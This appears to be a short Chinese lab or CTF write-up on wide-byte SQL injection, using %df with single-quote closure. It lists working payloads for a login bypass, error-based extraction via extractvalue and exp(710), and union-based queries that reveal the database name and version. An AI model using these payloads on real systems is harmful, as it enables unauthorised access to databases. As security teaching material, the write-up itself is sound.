知识点:
- 宽字节注入+单引号闭合
- 注意:不能直接在输入框进行宽字节注入,会被url编码,除非输入原始字符(%df已经是url编码了,直接输入会二次编码)
- 错误注入
- payload:username=1%df'or+extractvalue(1,concat(0x7e,database(),0x7e))=1--+
- 联合注入
- payload:username=1%df'union+select+database(),version()--+
通过抓包进行测试,发现是一个宽字节注入+单引号闭合
构造payload:username=1%df'or+1=1--+
成功显示出了id=1的用户信息
利用错误注入进行尝试
构造payload:username=1%df'or+exp(710)=1--+
界面成功回显了错误信息;说明可以进行错误注入
尝试读取数据库名
构造payload:username=1%df'or+extractvalue(1,concat(0x7e,database(),0x7e))=1--+
成功获取了数据库名;同样的可以获取数据库的其他信息
尝试进行联合注入
构造payload:username=1%df'union+select+1,2--+
输入内容成功显示到了屏幕上
利用联合注入获取数据库名和版本信息
构造payload:username=1%df'union+select+database(),version()--+
成功获取了数据库名和版本信息,同样手段可以获取数据库其他内容
10